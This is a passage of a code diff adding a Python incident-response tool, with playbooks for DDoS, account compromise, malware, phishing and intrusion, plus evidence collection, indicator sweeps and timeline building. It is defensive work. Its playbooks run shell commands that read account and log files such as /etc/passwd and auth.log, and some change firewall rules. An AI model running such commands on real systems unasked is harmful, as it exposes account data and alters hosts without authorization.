+ 'automated': True,
+ 'commands': ['netstat -an' if _is_win else 'ss -s'],
+ },
+ {
+ 'title': 'Service Recovery',
+ 'description': 'Once attack subsides, gradually restore services. Verify all systems are functioning normally. Clear any queued requests.',
+ 'check_items': ['Verify attack has stopped', 'Remove emergency firewall rules', 'Restart affected services', 'Clear connection queues', 'Verify service availability'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Post-Attack Analysis',
+ 'description': 'Analyze attack traffic patterns for future prevention. Update DDoS response procedures. Consider additional protection services.',
+ 'check_items': ['Analyze attack traffic logs', 'Document attack timeline', 'Review effectiveness of mitigations', 'Update firewall rules permanently', 'Evaluate DDoS protection services'],
+ 'automated': False,
+ 'commands': [],
+ },
+ ],
+ },
+ 'account_compromise': {
+ 'name': 'Account Compromise Response',
+ 'steps': [
+ {
+ 'title': 'Confirm Compromise',
+ 'description': 'Verify that the account has been compromised. Check for unauthorized logins, unusual activity, email forwarding rules, and new MFA devices.',
+ 'check_items': ['Review login history for anomalies', 'Check for new email forwarding rules', 'Look for new MFA devices', 'Review recent account activity', 'Check for password change attempts'],
+ 'automated': True,
+ 'commands': ['wevtutil qe Security /c:30 /f:text /rd:true /q:"*[System[(EventID=4624)]]"' if _is_win else 'last -30 2>/dev/null; grep "session opened" /var/log/auth.log 2>/dev/null | tail -30'],
+ },
+ {
+ 'title': 'Secure the Account',
+ 'description': 'Reset the password immediately. Revoke all active sessions and tokens. Remove unauthorized MFA devices. Remove suspicious email rules.',
+ 'check_items': ['Reset account password', 'Revoke all active sessions', 'Remove unauthorized MFA devices', 'Remove email forwarding rules', 'Revoke OAuth application access'],
+ 'automated': True,
+ 'commands': ['net user {username} * /domain' if _is_win else 'passwd {username}'],
+ },
+ {
+ 'title': 'Assess Impact',
+ 'description': 'Determine what the attacker accessed using the compromised account. Check email, files, systems, and any actions taken.',
+ 'check_items': ['Review email access logs', 'Check file access history', 'Review system authentication logs', 'Look for data exfiltration', 'Check for lateral movement'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Check for Lateral Movement',
+ 'description': 'Determine if the attacker used the compromised account to access other systems or escalate privileges.',
+ 'check_items': ['Check other systems for the compromised credential', 'Review admin console access', 'Look for privilege escalation', 'Check for new accounts created', 'Review VPN connection logs'],
+ 'automated': True,
+ 'commands': ['net user' if _is_win else 'cat /etc/passwd | grep -v nologin'],
+ },
+ {
+ 'title': 'Remediate and Harden',
+ 'description': 'Implement additional security controls on the account and related systems.',
+ 'check_items': ['Enable MFA if not already active', 'Review account permissions', 'Implement conditional access policies', 'Update password policy', 'Enable login anomaly detection'],
+ 'automated': False,
+ 'commands': [],
+ },
+ ],
+ },
+ 'malware': {
+ 'name': 'Malware Incident Response',
+ 'steps': [
+ {
+ 'title': 'Identify and Isolate',
+ 'description': 'Identify the malware and isolate the affected system. Determine the malware type (trojan, worm, RAT, rootkit, etc.) and initial infection vector.',
+ 'check_items': ['Identify malware file/process', 'Isolate affected system from network', 'Determine malware type', 'Identify initial infection vector', 'Check if malware is actively communicating'],
+ 'automated': True,
+ 'commands': ['tasklist /v' if _is_win else 'ps auxf',
+ 'netstat -anob' if _is_win else 'ss -tulnp',
+ 'wmic process list full' if _is_win else 'ls -la /tmp /var/tmp /dev/shm 2>/dev/null'],
+ },
+ {
+ 'title': 'Collect Malware Sample',
+ 'description': 'Safely collect the malware binary for analysis. Calculate hashes (MD5, SHA256) and check against threat intelligence databases.',
+ 'check_items': ['Copy malware sample to quarantine', 'Calculate file hashes', 'Submit to VirusTotal', 'Check threat intel feeds', 'Document file metadata'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Analyze Behavior',
+ 'description': 'Determine malware capabilities: C2 communication, persistence, data exfiltration, privilege escalation, and lateral movement.',
+ 'check_items': ['Identify C2 domains/IPs', 'Check persistence mechanisms', 'Identify data exfiltration channels', 'Check for privilege escalation', 'Look for dropper/downloader behavior'],
+ 'automated': True,
+ 'commands': ['schtasks /query /fo LIST /v' if _is_win else 'crontab -l 2>/dev/null',
+ 'reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' if _is_win else 'systemctl list-unit-files --state=enabled 2>/dev/null'],
+ },
+ {
+ 'title': 'Scope the Infection',
+ 'description': 'Determine if other systems are infected. Sweep the network for IOCs found during analysis.',
+ 'check_items': ['Sweep network for IOCs', 'Check DNS logs for C2 domains', 'Review network flow data', 'Check other endpoints for same hash', 'Look for worm propagation'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Eradicate Malware',
+ 'description': 'Remove all malware components from affected systems. Clean persistence mechanisms, remove dropped files, and clear modified registry entries.',
+ 'check_items': ['Remove malware binaries', 'Clear persistence entries', 'Remove dropped files', 'Clean registry modifications', 'Verify clean with multiple AV engines'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Recover and Monitor',
+ 'description': 'Restore system to clean state. Patch the vulnerability used for initial access. Monitor for reinfection.',
+ 'check_items': ['Restore from clean backup if needed', 'Apply security patches', 'Update AV signatures', 'Monitor for reinfection indicators', 'Update detection rules with new IOCs'],
+ 'automated': False,
+ 'commands': [],
+ },
+ ],
+ },
+ 'phishing': {
+ 'name': 'Phishing Incident Response',
+ 'steps': [
+ {
+ 'title': 'Analyze the Phishing Email',
+ 'description': 'Examine the phishing email headers, sender, links, and attachments. Determine the campaign scope and targets.',
+ 'check_items': ['Examine email headers for origin', 'Analyze URLs (do not click)', 'Check attachments in sandbox', 'Identify phishing kit or campaign', 'Determine number of recipients'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Identify Affected Users',
+ 'description': 'Determine which users received, opened, clicked links, or submitted credentials to the phishing page.',
+ 'check_items': ['Query email gateway for all recipients', 'Check proxy logs for phishing URL visits', 'Review web filter logs', 'Identify users who submitted credentials', 'Check for downloaded attachments'],
+ 'automated': True,
+ 'commands': ['ipconfig /displaydns' if _is_win else 'cat /etc/resolv.conf; grep -r "dns" /var/log/ 2>/dev/null | tail -20'],
+ },
+ {
+ 'title': 'Contain the Threat',
+ 'description': 'Block the phishing URLs and sender addresses. Reset credentials for affected users. Purge remaining phishing emails from inboxes.',
+ 'check_items': ['Block phishing URL at proxy/firewall', 'Block sender email address', 'Reset passwords for affected users', 'Purge phishing email from all mailboxes', 'Block phishing domain in DNS'],
+ 'automated': True,
+ 'commands': ['netsh advfirewall firewall add rule name="Block-Phish" dir=out action=block remoteip={ip}' if _is_win else 'iptables -A OUTPUT -d {ip} -j DROP'],
+ },
+ {
+ 'title': 'Check for Secondary Compromise',
+ 'description': 'If users clicked links or submitted credentials, check for follow-on compromise: unauthorized access, malware installation, data theft.',
+ 'check_items': ['Check for unauthorized logins with stolen creds', 'Scan workstations for malware', 'Review data access logs', 'Check for OAuth token theft', 'Look for lateral movement'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Remediate',
+ 'description': 'Ensure all affected accounts are secured. Update email filtering rules. Deploy additional protections.',
+ 'check_items': ['Verify all affected passwords reset', 'Enable MFA for affected accounts', 'Update email filter rules', 'Add phishing indicators to blocklists', 'Submit phishing page for takedown'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'User Awareness',
+ 'description': 'Notify users about the phishing campaign. Provide guidance on identifying phishing. Consider additional security awareness training.',
+ 'check_items': ['Send company-wide alert about campaign', 'Provide phishing identification tips', 'Schedule security awareness training', 'Update phishing simulation program', 'Document lessons learned'],
+ 'automated': False,
+ 'commands': [],
+ },
+ ],
+ },
+ 'unauthorized_access': {
+ 'name': 'Unauthorized Access Response',
+ 'steps': [
+ {
+ 'title': 'Detect and Confirm',
+ 'description': 'Verify unauthorized access indicators. Review authentication logs, IDS/IPS alerts, and anomalous activity.',
+ 'check_items': ['Review authentication logs', 'Check IDS/IPS alerts', 'Verify anomalous access patterns', 'Identify accessed resources', 'Determine access method (exploit, stolen creds, misconfiguration)'],
+ 'automated': True,
+ 'commands': ['wevtutil qe Security /c:50 /f:text /rd:true' if _is_win else 'grep -i "accepted\\|failed\\|invalid" /var/log/auth.log 2>/dev/null | tail -50'],
+ },
+ {
+ 'title': 'Block Attacker Access',
+ 'description': 'Immediately block the attacker\'s access. Firewall the source IP, disable exploited service, close the vulnerability.',
+ 'check_items': ['Block attacker IP at firewall', 'Disable exploited service', 'Close vulnerable ports', 'Revoke any created credentials', 'Reset compromised accounts'],
+ 'automated': True,
+ 'commands': ['netsh advfirewall firewall add rule name="Block-Attacker" dir=in action=block remoteip={ip}' if _is_win else 'iptables -A INPUT -s {ip} -j DROP'],
+ },
+ {
+ 'title': 'Preserve Evidence',
+ 'description': 'Capture all evidence of the intrusion before remediation changes it.',
+ 'check_items': ['Capture running processes', 'Save network connections', 'Preserve log files', 'Save modified files list', 'Document access timeline'],
+ 'automated': True,
+ 'commands': ['tasklist /v' if _is_win else 'ps auxf',
+ 'netstat -anob' if _is_win else 'ss -tulnp',
+ 'dir /t:w /o:-d /s C:\\Users' if _is_win else 'find / -mtime -1 -type f 2>/dev/null | head -100'],
+ },
+ {
+ 'title': 'Assess Scope and Impact',
+ 'description': 'Determine what the attacker accessed, modified, or exfiltrated. Check for backdoors, new accounts, and persistence mechanisms.',
+ 'check_items': ['Check for new user accounts', 'Look for backdoors and webshells', 'Review file modification times', 'Check for data exfiltration', 'Look for persistence mechanisms'],
+ 'automated': True,
+ 'commands': ['net user' if _is_win else 'cat /etc/passwd',
+ 'schtasks /query /fo LIST' if _is_win else 'crontab -l 2>/dev/null'],
+ },
+ {
+ 'title': 'Eradicate and Harden',
+ 'description': 'Remove all attacker artifacts. Patch the exploited vulnerability. Harden the system against future attacks.',
+ 'check_items': ['Remove attacker backdoors', 'Patch exploited vulnerability', 'Remove unauthorized accounts', 'Harden service configurations', 'Update firewall rules', 'Enable enhanced logging'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Post-Incident Review',
+ 'description': 'Document the full attack chain. Update detection rules and security controls. Implement lessons learned.',
+ 'check_items': ['Document complete attack chain', 'Update IDS/IPS signatures', 'Review and update access controls', 'Implement additional monitoring', 'Schedule penetration test'],
+ 'automated': False,
+ 'commands': [],
+ },
+ ],
+ },
+}
+
+
+# ── Incident Response Engine ────────────────────────────────────────
+
+class IncidentResponse:
+ """IR playbook runner, evidence collector, IOC sweeper, and reporting engine."""
+
+ _instance = None
+
+ def __init__(self):
+ data_dir = get_data_dir()
+ if isinstance(data_dir, str):
+ data_dir = Path(data_dir)
+ self._incidents_dir = data_dir / 'incidents'
+ self._incidents_dir.mkdir(parents=True, exist_ok=True)
+
+ # ── helpers ──────────────────────────────────────────────────
+
+ def _run_cmd(self, cmd, timeout=30):
+ """Run a shell command, return (success, output)."""
+ try:
+ result = subprocess.run(cmd, shell=True, capture_output=True,
+ text=True, timeout=timeout)
+ return result.returncode == 0, result.stdout.strip()
+ except Exception as e:
+ return False, str(e)
+
+ def _now_iso(self):
+ return datetime.now(timezone.utc).isoformat()
+
+ def _gen_id(self):
+ """Generate a unique incident ID like IR-20260303-A1B2."""
+ ts = datetime.now().strftime('%Y%m%d')
+ suffix = hashlib.md5(str(time.time()).encode()).hexdigest()[:4].upper()
+ return f'IR-{ts}-{suffix}'
+
+ def _incident_dir(self, incident_id):
+ d = self._incidents_dir / incident_id
+ d.mkdir(parents=True, exist_ok=True)
+ return d
+
+ def _load_incident(self, incident_id):
+ path = self._incident_dir(incident_id) / 'incident.json'
+ if not path.exists():
+ return None
+ with open(path, 'r') as f:
+ return json.load(f)
+
+ def _save_incident(self, incident):
+ idir = self._incident_dir(incident['id'])
+ with open(idir / 'incident.json', 'w') as f:
+ json.dump(incident, f, indent=2, default=str)
+
+ def _load_timeline(self, incident_id):
+ path = self._incident_dir(incident_id) / 'timeline.json'
+ if not path.exists():
+ return []
+ with open(path, 'r') as f:
+ return json.load(f)
+
+ def _save_timeline(self, incident_id, timeline):
+ path = self._incident_dir(incident_id) / 'timeline.json'
+ with open(path, 'w') as f:
+ json.dump(timeline, f, indent=2, default=str)
+
+ def _evidence_dir(self, incident_id):
+ d = self._incident_dir(incident_id) / 'evidence'
+ d.mkdir(parents=True, exist_ok=True)
+ return d
+
+ # ── CRUD ─────────────────────────────────────────────────────
+
+ def create_incident(self, name, incident_type, severity, description=''):
+ """Create a new incident case and return the incident dict."""
+ if incident_type not in INCIDENT_TYPES:
+ return {'error': f'Invalid type. Must be one of: {", ".join(INCIDENT_TYPES)}'}
+ if severity not in SEVERITY_LEVELS:
+ return {'error': f'Invalid severity. Must be one of: {", ".join(SEVERITY_LEVELS)}'}
+
+ incident_id = self._gen_id()
+ playbook = IR_PLAYBOOKS.get(incident_type, {})
+ step_count = len(playbook.get('steps', []))
+
+ incident = {
+ 'id': incident_id,
+ 'name': name,
+ 'type': incident_type,
+ 'severity': severity,
+ 'description': description,
+ 'status': 'open',
+ 'assignee': '',
+ 'notes': '',
+ 'created': self._now_iso(),
+ 'updated': self._now_iso(),
+ 'closed': None,
+ 'resolution_notes': '',
+ 'playbook_progress': [False] * step_count,
+ 'playbook_outputs': [''] * step_count,
+ 'evidence_count': 0,
+ }
+ self._save_incident(incident)
+ self._save_timeline(incident_id, [])
+
+ # add creation event to timeline
+ self.add_timeline_event(incident_id, self._now_iso(),
+ f'Incident created: {name}', 'system',
+ f'Type: {incident_type}, Severity: {severity}')
+ return incident
+
+ def get_incident(self, incident_id):
+ """Return full incident details including timeline and evidence list."""
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+ incident['timeline'] = self._load_timeline(incident_id)
+ incident['evidence'] = self.list_evidence(incident_id)
+ return incident
+
+ def list_incidents(self, status=None):
+ """Return list of all incidents, optionally filtered by status."""
+ incidents = []
+ if not self._incidents_dir.exists():
+ return incidents
+ for d in sorted(self._incidents_dir.iterdir(), reverse=True):
+ if d.is_dir():
+ inc = self._load_incident(d.name)
+ if inc:
+ if status and inc.get('status') != status:
+ continue
+ incidents.append(inc)
+ return incidents
+
+ def update_incident(self, incident_id, updates):
+ """Update incident fields (status, severity, notes, assignee)."""
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+
+ allowed = {'status', 'severity', 'notes', 'assignee', 'name', 'description'}
+ changes = []
+ for key, val in updates.items():
+ if key in allowed:
+ old_val = incident.get(key, '')
+ if old_val != val:
+ incident[key] = val
+ changes.append(f'{key}: {old_val} -> {val}')
+
+ if 'status' in updates and updates['status'] not in STATUS_VALUES:
+ return {'error': f'Invalid status. Must be one of: {", ".join(STATUS_VALUES)}'}
+ if 'severity' in updates and updates['severity'] not in SEVERITY_LEVELS:
+ return {'error': f'Invalid severity. Must be one of: {", ".join(SEVERITY_LEVELS)}'}
+
+ incident['updated'] = self._now_iso()
+ self._save_incident(incident)
+
+ if changes:
+ self.add_timeline_event(incident_id, self._now_iso(),
+ 'Incident updated', 'system',
+ '; '.join(changes))
+ return incident
+
+ def close_incident(self, incident_id, resolution_notes=''):
+ """Close an incident with resolution notes."""
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+
+ incident['status'] = 'closed'
+ incident['closed'] = self._now_iso()
+ incident['updated'] = self._now_iso()
+ incident['resolution_notes'] = resolution_notes
+ self._save_incident(incident)
+
+ self.add_timeline_event(incident_id, self._now_iso(),
+ 'Incident closed', 'system', resolution_notes)
+ return incident
+
+ def delete_incident(self, incident_id):
+ """Delete an incident and all associated data."""
+ idir = self._incidents_dir / incident_id
+ if not idir.exists():
+ return {'error': 'Incident not found'}
+ shutil.rmtree(str(idir), ignore_errors=True)
+ return {'success': True, 'deleted': incident_id}
+
+ # ── Playbooks ────────────────────────────────────────────────
+
+ def get_playbook(self, incident_type):
+ """Return the IR playbook for an incident type."""
+ pb = IR_PLAYBOOKS.get(incident_type)
+ if not pb:
+ return {'error': f'No playbook for type: {incident_type}'}
+ return pb
+
+ def run_playbook_step(self, incident_id, step_index, auto=False):
+ """Execute or mark a playbook step as done."""
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+
+ playbook = IR_PLAYBOOKS.get(incident['type'], {})
+ steps = playbook.get('steps', [])
+ if step_index < 0 or step_index >= len(steps):
+ return {'error': f'Invalid step index: {step_index}'}
+
+ step = steps[step_index]
+ output = ''
+
+ if auto and step.get('automated') and step.get('commands'):
+ # Run the commands and capture output
+ outputs = []
+ for cmd in step['commands']:
+ success, result = self._run_cmd(cmd)
+ outputs.append(f'$ {cmd}\n{result}\n{"[OK]" if success else "[FAILED]"}')
+ output = '\n\n'.join(outputs)
+
+ # Store the output as evidence
+ self.add_evidence(incident_id,
+ f'playbook_step_{step_index}_{step["title"].replace(" ", "_")}',
+ output, evidence_type='playbook_auto')
+
+ # Mark step as complete
+ progress = incident.get('playbook_progress', [])
+ while len(progress) <= step_index:
+ progress.append(False)
+ progress[step_index] = True
+
+ pb_outputs = incident.get('playbook_outputs', [])
+ while len(pb_outputs) <= step_index:
+ pb_outputs.append('')
+ pb_outputs[step_index] = output
+
+ incident['playbook_progress'] = progress
+ incident['playbook_outputs'] = pb_outputs
+ incident['updated'] = self._now_iso()
+
+ # auto-advance status
+ if incident['status'] == 'open':
+ incident['status'] = 'investigating'
+
+ self._save_incident(incident)
+ self.add_timeline_event(incident_id, self._now_iso(),
+ f'Playbook step completed: {step["title"]}',
+ 'playbook',
+ f'Step {step_index + 1}/{len(steps)}, auto={auto}')
+
+ return {
+ 'step_index': step_index,
+ 'title': step['title'],
+ 'completed': True,
+ 'auto': auto,
+ 'output': output,
+ 'progress': progress,
+ }
+
+ # ── Evidence Collection ──────────────────────────────────────
+
+ def collect_evidence(self, incident_id, evidence_type, source=None):
+ """Collect evidence from the local system and store it under the incident."""
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+ if evidence_type not in EVIDENCE_TYPES:
+ return {'error': f'Unknown evidence type. Options: {", ".join(EVIDENCE_TYPES)}'}
+
+ content = ''
+ name = evidence_type
+
+ if evidence_type == 'system_logs':
+ if _is_win:
+ _, content = self._run_cmd(
+ 'wevtutil qe System /c:50 /f:text /rd:true', timeout=20)
+ _, auth = self._run_cmd(
+ 'wevtutil qe Security /c:50 /f:text /rd:true', timeout=20)
+ content = f'=== System Log ===\n{content}\n\n=== Security Log ===\n{auth}'
+ else:
+ parts = []
+ for log in ['/var/log/syslog', '/var/log/messages', '/var/log/auth.log',
+ '/var/log/secure', '/var/log/kern.log']:
+ _, out = self._run_cmd(f'tail -100 {log} 2>/dev/null')
+ if out:
+ parts.append(f'=== {log} ===\n{out}')
+ content = '\n\n'.join(parts) if parts else 'No accessible logs found'
+
+ elif evidence_type == 'process_list':
+ if _is_win:
+ _, content = self._run_cmd('tasklist /v /fo csv', timeout=15)
+ else:
+ _, content = self._run_cmd('ps auxf', timeout=15)
+
+ elif evidence_type == 'network_connections':
+ if _is_win:
+ _, content = self._run_cmd('netstat -anob', timeout=15)
+ else:
+ _, content = self._run_cmd('ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null', timeout=15)
+
+ elif evidence_type == 'running_services':
+ if _is_win:
+ _, content = self._run_cmd('sc query state= all', timeout=20)
+ else:
+ _, content = self._run_cmd('systemctl list-units --type=service --state=running 2>/dev/null || service --status-all 2>/dev/null', timeout=15)
+
+ elif evidence_type == 'user_accounts':
+ if _is_win:
+ _, content = self._run_cmd('net user', timeout=10)
+ _, detailed = self._run_cmd('wmic useraccount list full', timeout=15)
+ content = f'{content}\n\n=== Detailed ===\n{detailed}'
+ else:
+ _, content = self._run_cmd('cat /etc/passwd; echo "---"; last -20 2>/dev/null', timeout=10)
+
+ elif evidence_type == 'scheduled_tasks':
+ if _is_win:
+ _, content = self._run_cmd('schtasks /query /fo LIST /v', timeout=20)
+ else:
+ parts = []
+ _, out = self._run_cmd('crontab -l 2>/dev/null')
+ if out:
+ parts.append(f'=== User Crontab ===\n{out}')
+ _, out = self._run_cmd('ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null')
+ if out:
+ parts.append(f'=== System Cron ===\n{out}')
+ _, out = self._run_cmd('systemctl list-timers --all 2>/dev/null')
+ if out:
+ parts.append(f'=== Systemd Timers ===\n{out}')
+ content = '\n\n'.join(parts) if parts else 'No scheduled tasks found'
+
+ elif evidence_type == 'recent_files':
+ if _is_win:
+ _, content = self._run_cmd(
+ 'forfiles /P C:\\Users /S /D -1 /C "cmd /c echo @path @fdate @ftime" 2>nul',
+ timeout=30)
+ if not content:
+ _, content = self._run_cmd('dir /t:w /o:-d /s C:\\Users\\*.*', timeout=30)
+ else:
+ _, content = self._run_cmd(
+ 'find /home /tmp /var/tmp /root -mtime -1 -type f 2>/dev/null | head -200',
+ timeout=30)
+
+ elif evidence_type == 'memory_info':
+ if _is_win:
+ _, content = self._run_cmd(
+ 'systeminfo | findstr /C:"Total Physical" /C:"Available Physical" /C:"Virtual Memory"',
+ timeout=15)
+ _, procs = self._run_cmd(
+ 'wmic process get Name,WorkingSetSize,ProcessId /format:csv', timeout=15)
+ content = f'{content}\n\n=== Top Processes ===\n{procs}'
+ else:
+ _, content = self._run_cmd('free -h; echo "---"; cat /proc/meminfo | head -20', timeout=10)
+
+ elif evidence_type == 'disk_info':
+ if _is_win:
+ _, content = self._run_cmd('wmic logicaldisk get size,freespace,caption', timeout=10)
+ else:
+ _, content = self._run_cmd('df -h; echo "---"; lsblk 2>/dev/null', timeout=10)
+
+ elif evidence_type == 'installed_software':
+ if _is_win:
+ _, content = self._run_cmd(
+ 'wmic product get name,version /format:csv 2>nul', timeout=30)
+ if not content:
+ _, content = self._run_cmd(
+ 'reg query "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" /s /v DisplayName 2>nul',
+ timeout=20)
+ else:
+ _, content = self._run_cmd(
+ 'dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || pacman -Q 2>/dev/null',
+ timeout=20)
+
+ # Save evidence
+ return self.add_evidence(incident_id, name, content, evidence_type='collected')
+
+ def add_evidence(self, incident_id, name, content, evidence_type='manual'):
+ """Add evidence (manual note, collected data, etc.) to an incident."""
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+
+ edir = self._evidence_dir(incident_id)
+ ts = datetime.now().strftime('%Y%m%d_%H%M%S')
+ safe_name = re.sub(r'[^a-zA-Z0-9_-]', '_', name)
+ filename = f'{ts}_{safe_name}.txt'
+ filepath = edir / filename
+
+ with open(filepath, 'w', encoding='utf-8', errors='replace') as f:
+ f.write(content)
+
+ # Update evidence count
+ incident['evidence_count'] = incident.get('evidence_count', 0) + 1
+ incident['updated'] = self._now_iso()
+ self._save_incident(incident)
+
+ # Log in timeline
+ self.add_timeline_event(incident_id, self._now_iso(),
+ f'Evidence added: {name}', 'evidence',
+ f'Type: {evidence_type}, File: {filename}, Size: {len(content)} bytes')
+
+ return {
+ 'name': name,
+ 'filename': filename,
+ 'type': evidence_type,
+ 'size': len(content),
+ 'collected_at': self._now_iso(),
+ 'preview': content[:500] if content else '',
+ }
+
+ def list_evidence(self, incident_id):
+ """List all evidence files for an incident."""
+ edir = self._evidence_dir(incident_id)
+ evidence = []
+ if not edir.exists():
+ return evidence
+ for f in sorted(edir.iterdir()):
+ if f.is_file():
+ stat = f.stat()
+ evidence.append({
+ 'filename': f.name,
+ 'name': f.stem,
+ 'size': stat.st_size,
+ 'collected_at': datetime.fromtimestamp(stat.st_mtime).isoformat(),
+ })
+ return evidence
+
+ def get_evidence_content(self, incident_id, filename):
+ """Return the content of a specific evidence file."""
+ filepath = self._evidence_dir(incident_id) / filename
+ if not filepath.exists():
+ return {'error': 'Evidence file not found'}
+ try:
+ content = filepath.read_text(encoding='utf-8', errors='replace')
+ return {'filename': filename, 'content': content, 'size': len(content)}
+ except Exception as e:
+ return {'error': str(e)}
+
+ # ── IOC Sweep ────────────────────────────────────────────────
+
+ def sweep_iocs(self, incident_id, iocs):
+ """Scan local system for indicators of compromise.
+
+ iocs = {
+ 'ips': ['1.2.3.4', ...],
+ 'domains': ['evil.com', ...],
+ 'hashes': ['sha256:abcdef...', ...],
+ }
+ """
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+
+ matches = []
+ ip_list = [ip.strip() for ip in iocs.get('ips', []) if ip.strip()]
+ domain_list = [d.strip() for d in iocs.get('domains', []) if d.strip()]
+ hash_list = [h.strip() for h in iocs.get('hashes', []) if h.strip()]
+
+ # Check network connections against IP list
+ if ip_list:
+ if _is_win:
+ _, netout = self._run_cmd('netstat -an')
+ else:
+ _, netout = self._run_cmd('ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null')
+
+ for ip in ip_list:
+ if ip in netout:
+ matches.append({
+ 'type': 'ip',
+ 'ioc': ip,
+ 'found_in': 'active_connections',
+ 'severity': 'critical',
+ 'details': f'IP {ip} found in active network connections',
+ })
+
+ # Check running processes against hash list
+ if hash_list:
+ if _is_win:
+ _, proc_out = self._run_cmd('wmic process get ExecutablePath /format:csv')
+ proc_paths = [line.split(',')[-1].strip() for line in proc_out.splitlines()
+ if '\\' in line]
+ else:
+ _, proc_out = self._run_cmd("ls -1 /proc/*/exe 2>/dev/null | xargs readlink 2>/dev/null | sort -u")
+ proc_paths = [p.strip() for p in proc_out.splitlines() if p.strip()]
+
+ for proc_path in proc_paths:
+ if not os.path.isfile(proc_path):
+ continue
+ try:
+ sha = hashlib.sha256(open(proc_path, 'rb').read()).hexdigest()
+ md5 = hashlib.md5(open(proc_path, 'rb').read()).hexdigest()
+ for h in hash_list:
+ hval = h.split(':')[-1] if ':' in h else h
+ if hval.lower() in (sha.lower(), md5.lower()):
+ matches.append({
+ 'type': 'hash',
+ 'ioc': h,
+ 'found_in': proc_path,
+ 'severity': 'critical',
+ 'details': f'Hash match on running process: {proc_path}',
+ })
+ except (PermissionError, OSError):
+ continue
+
+ # Check DNS cache against domain list
+ if domain_list:
+ if _is_win:
+ _, dns_out = self._run_cmd('ipconfig /displaydns')
+ else:
+ _, dns_out = self._run_cmd(
+ 'cat /etc/hosts 2>/dev/null; '
+ 'grep -r "query" /var/log/syslog 2>/dev/null | tail -200')
+
+ for domain in domain_list:
+ if domain.lower() in dns_out.lower():
+ matches.append({
+ 'type': 'domain',
+ 'ioc': domain,
+ 'found_in': 'dns_cache',
+ 'severity': 'high',
+ 'details': f'Domain {domain} found in DNS cache/logs',
+ })
+
+ # Store sweep results as evidence
+ result = {
+ 'total_iocs': len(ip_list) + len(domain_list) + len(hash_list),
+ 'matches_found': len(matches),
+ 'matches': matches,
+ 'swept_at': self._now_iso(),
+ }
+
+ self.add_evidence(incident_id, 'ioc_sweep_results',
+ json.dumps(result, indent=2), evidence_type='ioc_sweep')
+
+ self.add_timeline_event(incident_id, self._now_iso(),
+ f'IOC sweep completed: {len(matches)} matches from {result["total_iocs"]} indicators',
+ 'sweep', json.dumps({'matches': len(matches)}))
+
+ return result
+
+ # ── Timeline ─────────────────────────────────────────────────
+
+ def add_timeline_event(self, incident_id, timestamp, event, source, details=None):
+ """Add an event to the incident timeline."""
+ timeline = self._load_timeline(incident_id)
+ entry = {
+ 'timestamp': timestamp,
+ 'event': event,
+ 'source': source,
+ 'details': details or '',
+ }
+ timeline.append(entry)
+ # Sort chronologically
+ timeline.sort(key=lambda e: e.get('timestamp', ''))
+ self._save_timeline(incident_id, timeline)
+ return entry
+
+ def get_timeline(self, incident_id):
+ """Get the full chronological timeline for an incident."""
+ return self._load_timeline(incident_id)
+
+ def auto_build_timeline(self, incident_id):
+ """Automatically build timeline from collected evidence by parsing timestamps."""
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+
+ evidence_files = self.list_evidence(incident_id)
+ events_added = 0
+ edir = self._evidence_dir(incident_id)
+
+ # Timestamp patterns
+ patterns = [
+ # ISO 8601
+ (r'(\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2})', '%Y-%m-%dT%H:%M:%S'),
+ # Syslog
+ (r'([A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2})', None),
+ # Windows Event Log
+ (r'Date:\s+(\d{1,2}/\d{1,2}/\d{4}\s+\d{1,2}:\d{2}:\d{2}\s*[AP]M)', '%m/%d/%Y %I:%M:%S %p'),
+ ]
+
+ for ef in evidence_files:
+ filepath = edir / ef['filename']
+ try:
+ content = filepath.read_text(encoding='utf-8', errors='replace')
+ except Exception:
+ continue
+
+ lines = content.splitlines()
+ for line in lines[:500]: # limit to first 500 lines per file
+ for pattern, fmt in patterns:
+ match = re.search(pattern, line)
+ if match:
+ ts_str = match.group(1)
+ try:
+ if fmt:
+ ts_str = ts_str.replace('T', ' ')
+ dt = datetime.strptime(ts_str.strip(), fmt.replace('T', ' '))
+ ts_iso = dt.isoformat()
+ else:
+ # Syslog format — use current year
+ year = datetime.now().year
+ dt = datetime.strptime(f'{year} {ts_str}', '%Y %b %d %H:%M:%S')
+ ts_iso = dt.isoformat()
+ except ValueError:
+ continue
+
+ # Extract a useful event description from the line
+ event_text = line[match.end():].strip()[:200]
+ if event_text:
+ self.add_timeline_event(
+ incident_id, ts_iso,
+ event_text,
+ ef['filename'],
+ f'Auto-extracted from {ef["filename"]}')
+ events_added += 1
+ break # only match first pattern per line
+
+ if events_added >= 200:
+ break
+ if events_added >= 200:
+ break
+
+ self.add_timeline_event(incident_id, self._now_iso(),
+ f'Auto-built timeline: {events_added} events extracted',
+ 'system', f'Parsed {len(evidence_files)} evidence files')
+
+ return {
